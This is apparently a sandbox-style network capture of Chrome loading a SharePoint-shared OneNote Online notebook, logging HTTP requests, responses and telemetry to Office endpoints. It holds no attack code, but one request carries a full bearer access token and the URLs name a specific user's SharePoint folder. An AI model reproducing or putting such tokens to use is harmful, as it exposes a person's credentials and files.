X-MSEdge-Ref: Ref A: 639882CCF4E84CDEBFDAAC8E8382FD3E Ref B: MIA301000103033 Ref C: 2024-04-26T07:59:18Z Date: Fri, 26 Apr 2024 07:59:18 GMT Connection: close
2024-04-26 07:59:18 UTC	33	IN	Data Raw: 31 62 0d 0a 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a Data Ascii: 1bThe service is unavailable.
2024-04-26 07:59:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49786	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:18 UTC	594	OUT	GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:18 UTC	4265	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 1b522edf-9260-4e1f-bd23-d19aa74a51ea X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD5E X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5b&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD5E X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 8198DB3283CA48A2879A5ED2ECD85794 Ref B: MIA301000104033 Ref C: 2024-04-26T07:59:18Z Date: Fri, 26 Apr 2024 07:59:18 GMT Connection: close
2024-04-26 07:59:18 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49789	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:19 UTC	2558	OUT	POST /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":5,"MsSinceStart":6344,"Value":"SplashScreenShown","Type":"BootPhaseCompleted"},{"Index":6,"MsSinceStart":6749,"Value":"https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:19 UTC	1597	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 87d75e35-eb67-441e-9cf1-9c8d871bcb83 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5c&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091BA X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 6559CF266362457CA3826E719E14504A Ref B: MIA301000105009 Ref C: 2024-04-26T07:59:19Z Date: Fri, 26 Apr 2024 07:59:19 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49790	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:19 UTC	854	OUT	POST /o/RemoteTelemetry.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 119 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:19 UTC	119	OUT	Data Raw: 7b 22 74 79 70 65 22 3a 22 4a 53 41 50 49 5f 53 54 41 54 45 22 2c 22 70 61 79 6c 6f 61 64 4a 73 6f 6e 22 3a 22 7b 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 5c 22 3a 5c 22 4f 6e 65 4e 6f 74 65 5c 22 2c 5c 22 62 75 69 6c 64 5c 22 3a 5c 22 32 30 32 34 30 34 32 34 2e 31 5c 22 2c 5c 22 73 74 61 74 65 5c 22 3a 5c 22 62 6f 6f 74 53 75 63 63 65 73 73 5c 22 7d 22 7d Data Ascii: {"type":"JSAPI_STATE","payloadJson":"{\"application\":\"OneNote\",\"build\":\"20240424.1\",\"state\":\"bootSuccess\"}"}
2024-04-26 07:59:19 UTC	1040	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 75628207-41a4-4a8c-88d3-22719c6056f3 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: BN3PEPF00001D0F X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usigroups-my.sharepoint.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BN3PEPF00001D0F X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 366E49A87A0F4E4B979D13CB6D12FDB0 Ref B: MIA301000104047 Ref C: 2024-04-26T07:59:19Z Date: Fri, 26 Apr 2024 07:59:19 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49792	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:19 UTC	3475	OUT	POST /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 16420 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9.ePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC-lGpxzBDH9_YJe9eXoQ3MIJgGNGZp5_8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx_uD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k_Y8zjLO-AXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP_kPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg X-AccessTokenTtl: 1714154349045 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS6 Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:19 UTC	16384	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 35 37 34 39 34 2c 22 4c 22 3a 5b 7b 22 47 22 3a 32 30 30 32 35 36 37 39 2c 22 54 22 3a 2d 31 34 32 2c 22 4d 22 3a 22 53 65 74 41 70 70 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 53 74 61 74 75 73 3a 20 61 70 70 43 74 6f 72 53 74 61 72 74 69 6e 67 22 2c 22 43 22 3a 33 30 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 38 33 39 36 33 37 31 2c 22 54 22 3a 2d 31 33 36 2c 22 4d 22 3a 22 41 46 72 61 6d 65 77 6f 72 6b 41 70 70 6c 69 63 61 74 69 6f 6e 3a 3a 49 6e 69 74 69 61 6c 69 7a 65 3a 3a 49 73 4d 65 65 74 69 6e 67 4c 69 76 65 53 65 73 73 69 6f 6e 3a 20 66 61 6c 73 65 2e 20 4d 65 65 74 69 6e 67 49 64 3a 20 2e 20 49 73 4d 65 65 74 69 6e 67 50 72 65 73 65 6e 74 65 72 3a 20 66 61 6c 73 65 2e 20 4d 65 65 74 69 6e 67 4f 72 Data Ascii: {"T":1714118357494,"L":[{"G":20025679,"T":-142,"M":"SetAppInitializationStatus: appCtorStarting","C":306,"D":50},{"G":508396371,"T":-136,"M":"AFrameworkApplication::Initialize::IsMeetingLiveSession: false. MeetingId: . IsMeetingPresenter: false. MeetingOr
2024-04-26 07:59:19 UTC	36	OUT	Data Raw: 39 61 35 65 2d 38 65 31 30 2d 31 38 64 65 32 32 63 39 31 35 33 66 22 2c 22 49 22 3a 30 2c 22 56 22 3a 31 7d Data Ascii: 9a5e-8e10-18de22c9153f","I":0,"V":1}
2024-04-26 07:59:19 UTC	1705	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 239e575c-482a-446d-b1dd-ab5c5bf5f937 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000A1AC X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5b&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000A1AC X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3_control,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordslice,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3_control,afd_excelslicetest X-MSEdge-Ref: Ref A: 8B7993BC5AE5439C8F17D304541C7B67 Ref B: MIA301000104027 Ref C: 2024-04-26T07:59:19Z Date: Fri, 26 Apr 2024 07:59:18 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49793	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:19 UTC	893	OUT	POST /o/RemoteUls.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&officeserverversion=20240424.1 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 6434 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-04-26 07:59:19 UTC	6434	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 34 39 35 38 33 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 37 31 34 37 31 35 2c 22 54 22 3a 31 34 36 30 2c 22 4d 22 3a 22 52 65 63 65 69 76 65 64 20 6d 65 73 73 61 67 65 49 64 3a 20 57 61 63 5f 41 70 70 42 6f 6f 74 53 74 61 74 65 2c 20 63 6f 72 72 65 6c 61 74 69 6f 6e 3a 20 75 6e 64 65 66 69 6e 65 64 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 36 34 36 34 32 38 38 2c 22 54 22 3a 31 34 36 30 2c 22 4d 22 3a 22 50 72 6f 63 65 73 73 69 6e 67 20 6d 65 73 73 61 67 65 3a 20 57 61 63 5f 41 70 70 42 6f 6f 74 53 74 61 74 65 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 35 37 31 34 32 37 31 2c 22 54 22 3a 31 34 36 30 2c 22 4d 22 3a 22 57 41 43 20 42 6f 6f 74 20 41 70 70 Data Ascii: {"T":1714118349583,"L":[{"G":595714715,"T":1460,"M":"Received messageId: Wac_AppBootState, correlation: undefined","C":379,"D":50},{"G":596464288,"T":1460,"M":"Processing message: Wac_AppBootState","C":379,"D":50},{"G":595714271,"T":1460,"M":"WAC Boot App
2024-04-26 07:59:19 UTC	4418	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 06cf8761-7f05-4155-85c0-baea9bed9968 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00012CE7 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usigroups-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,